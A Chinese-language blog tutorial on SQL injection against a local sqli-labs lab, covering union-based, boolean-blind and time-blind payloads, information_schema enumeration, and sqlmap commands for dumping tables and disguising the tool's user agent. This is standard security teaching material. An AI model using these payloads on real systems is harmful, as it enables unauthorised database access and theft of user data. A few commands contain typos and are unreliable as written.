sql注入(web界面)

Dunm1e Lv3

sql注入(web界面)

进入mysql命令行

1
2
3
show databases; # 显示所有数据库
use database_name; # 进入某个数据库
show tables; # 显示所有表名

增删改查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 向数据库插入数据
insert into 表名(字段1,字段2,...) values(值1,值2,...);
# example
insert into guestbook(comment,name) values('welcome','web');

# 修改数据库的数据
update 表名 set 字段名="值" [where 条件];
# example
update guestbook set comment = 'I love study';
update guestbook set comment = 'I love study' where name='web14';

# 向数据库查询数据
select * from 表名;
select */字段 from 表名 [where 条件]; # *表示全部
# example
select * from guestbook;
select name,comment from guestbook where comment_id=2;

# 删除数据库的数据
delete from 表名 where 条件; # 必须有where条件
# example
delete from guestbook where comment_id=2;

Information_schema数据库

  1. CHARACTER_SETS 表

    提供了 mysql 可用字符集的信息。SHOW CHARACTER SET; 命令从这个表获取结果。

  2. ==SCHEMATA 表==

    ==当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据。==

  3. ==TABLES 表==

    ==存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。==

  4. ==COLUMNS 表==

    ==存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。==

  5. USER_PRIVILEGES 表

    用户权限表。内容源自 mysql.user 授权表。是非标准表。

其余查看MySQL 中的 information_schema 数据库_object ‘profiling’ not found within ‘information_s-CSDN博客

sql注入语句

1. 判断是否存在漏洞

根据客户端返回的结果判断提交的测试语句 是否执行成功,如果被执行,则可能存在漏洞

一般利用==单引号和双引号==来判断,如果SQL语句出现错误说明有很大可能存在漏洞。

1
2
id=1
id=1'

这里加上单引号语句报错,则可能存在漏洞

后端向数据库获取数据的语句

1
SELECT first_name,last_name FROM users WHERE user_id= '$id';

2. 判断注入类型

字符型或者数字型

涉及注入中是否加入单引号,可以使用==and==进行判断,当and两边都为真才是真。

1
2
3
4
5
6
7
8
1 and 1=1
1 and 1=2
# 字符型
SELECT first_name,last_name FROM users WHERE user_id= '1 and 1=1';
SELECT first_name,last_name FROM users WHERE user_id= '1 and 1=2';
# 数字型
SELECT first_name,last_name FROM users WHERE user_id= 1 and 1=1;
SELECT first_name,last_name FROM users WHERE user_id= 1 and 1=2;

如果两个返回结果相同则为字符型,否则就是数字型。字符型会进行隐式类型转换,这是自动调用的,将某种类型的数据转换成另外一种类型数据。如上面的user_id是int型,但是输入字符型就会转换为int型。

1
2
3
4
'1 and 1=1' ==> 1
'2admin' ==> 2
'admin' ==> 0
'33admin' ==> 33

联合注入

1. 判断列数

利用==order by==

判断后端的查询语句的输出有几列

ORDER BY是表示输出的字段按照某一列进行排序,可以跟字段名,也可以跟列号

如果为字符型

1
2
3
1' order by 1# 
# 上面的单引号是跟前面的单引号闭合,然后因为后面还有个单引号,所以需要井号来进行注释
注 :如果是GET型注入,可以利用井号的url编码%23进行注释或者利用--+

2. 确定显示位

利用union将两个语句进行连接并输出

1
SELECT first_name,last_name FROM users union SELECT password,last_name FROM users

上面五行是前一个语句的输出,后面五行是后一个语句的输出。

注:

  1. 输出结果的列名总是第一个语句中的列名

  2. UNION内部语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时每条SELECT语句中的列的顺序也必须相同

如果某些网站只能回显一条数据

1
-1' union select 1,2 #

就是将第一个语句查询为空

3. 获取数据信息

3.1 获取数据库名、版本

1
1' union select version(),database()#

3.2 获取数据库表名

1
2
-1' union select 1,table_name from information_schema.tables where table_schema='name'#
# name为数据库名

3.3 获取字段名

1
2
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='name'#
# name 为表名

3.4 获取字段中的记录

1
2
3
4
-1' union select 1,group_concat(name1,name2) from column_name#
# name1,name2 为字段名 column_name 为表名

-1' union select name1,name2 from colunm_name#

sql盲注

盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
布尔盲注:SQL语句执行后,页面不返回具体数据,数据库只返回1或者0(真or假)。类似于无法开口说话的人,只能通过点头和摇头来告诉你答案的正确与否。
**时间盲注:**在页面中,不管用户输入什么,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。

1. 布尔盲注

1.1 判断是否存在注入

第一步:正常查询,返回True(语句执行成功)或者返回False(语句执行成功没有查询到内容)。
第二步:输入引号进行看页面变化,页面返回False,可能存在漏洞,也可能没有查询到内容。
第三步:利用and进行判断,比如:1 and 1=1和1 and 1=2,1’and 1=1#和1’and 1=2#,如果前者执行的结果不一样,说明是数字型的布尔盲注;如果后者执行的结果不一样,说明是字符型的布尔盲注。

1
2
3
4
select * from users where id=1 and 1=1;
select * from users where id=1 and 1=2;
select * from users where id='1' and 1=1#';
select * from users where id='1' and 1=2#';

1.2. 获取数据库长度

因为无法通过页面数据回显获取数据,所以只能靠判断对错的方式来获取数据,可以使用MySQL中的内置函数获取字符串长度:
**length():**单位是字节,utf8编码下,一个汉字三个字节,一个数字或字母一个字节。gbk编码下,一个汉字两个字节,一个数字或字母一个字节。
**char_length():**单位为字符,不管汉字还是数字或者是字母都算是一个字符。

例如:

1
select length(databese());

但是在盲注中是无法回显select的输出的

所以尝试得到长度可以用burp爆破或者二分(利用>、<、=):

1
http://127.0.0.1/sqli/less-8/?id=1' and length(database())<10%23

正确的长度会得到正确回显

上传到数据库的语句为:

1
SELECT * FROM users WHERE id='1' and length(database())<10#'

1.3. 获取数据库名

  • 利用substr(string,start,length)截取字符串
1
http://127.0.0.1/sqli/less-8/?id=1' and substr(database(),1,1)='s'%23

依次判断数据库名的每个字符,然后得到数据库名,这里采用将字母转换为ASCII码然后用burp的集束炸弹进行爆破

1
http://127.0.0.1/sqli/less-8/?id=1' and ascii(substr(database(),1,1))=115 %23

然后选定payload位置

1
http://127.0.0.1/sqli/less-8/?id=1' and ascii(substr(database(),$1$,1))=$115$ %23

第一个位置范围为1-8(数据库名长度),第二个位置范围为65-122(大小写字母ASCII码范围)

爆破完成得到数据库名security

==然后依次得到表名和字段名==

以上为布尔盲注,以下为时间盲注

2. 时间盲注

2.1. 判断是否存在注入

利用时间函数sleep()进行判断

1
id=1' and sleep(5) %23

然后查看“网络”界面的请求耗时,如果正好相差五秒,则为时间盲注。

2.2获取数据库长度

在上面布尔盲注的基础上,这里要加上if()条件判断语句

1
2
if(exp1,cmd1,cmd2)
# 如果exp1为真,执行cmd1,否则执行cmd2
1
id=1' and if(length(database())=8,sleep(5),1) %23

然后比较“网络”界面的请求耗时,或者直接在burp爆破结果中勾选响应时间的选项,然后找到不一样的那个

之后的步骤同布尔盲注


sqlmap的使用

以下演示为windows中,如果在kali中,则可以直接执行sqlmap

1. 判断是否存在注入

1
2
3
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1&page=10" -p page
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1&page=10" -p page --batch
  • -u:指定URL
  • -p:url多参数时指定注入点
  • –batch:自动化测试,需要选择时全部默认Y(注入过程可能比较久)

2. 获取信息

1
2
3
4
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security --tables
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C id,username,password --dump
  • –dbs:获取数据库名

  • –tables:获取数据库表名

  • –columns:获取字段名

  • -D,-T,-C:分别表示指定数据库、表、字段

  • –dump:获取字段内容(慎用)

3. 多目标

把要测试的url放入一个txt文件里,使用-m参数执行txt文件

1
python sqlmap.py -m test.txt

4. 需要登录

需要先获取自己的cookie,然后利用–cookie参数进行执行

1
python sqlmap.py -u  http://127.0.0.1/sqli/Less-1/?id=1&Submit=submit# -p id --cookie cookie --dbs --batch

利用sqlmap进行注入的user-agent头文件有明显的sqlmap

于是可以使用–random-agent 参数随机UA头,或者利用–user-agent=UA,使用自己的UA头。

1
2
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --random-agent
python sqlmap.py -u http://127.0.0.1/sq1i/Less-1/?id=1 --user-agent="Mozi11a/4.0 (compatible; MSIE 6.0: Windows NT 5.0: de) Opera 8.0'
  • Title: sql注入(web界面)
  • Author: Dunm1e
  • Created at : 2024-09-11 18:55:45
  • Updated at : 2024-09-12 08:18:24
  • Link: https://dunm1e.github.io/2024/09/11/f366e274d4aa/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments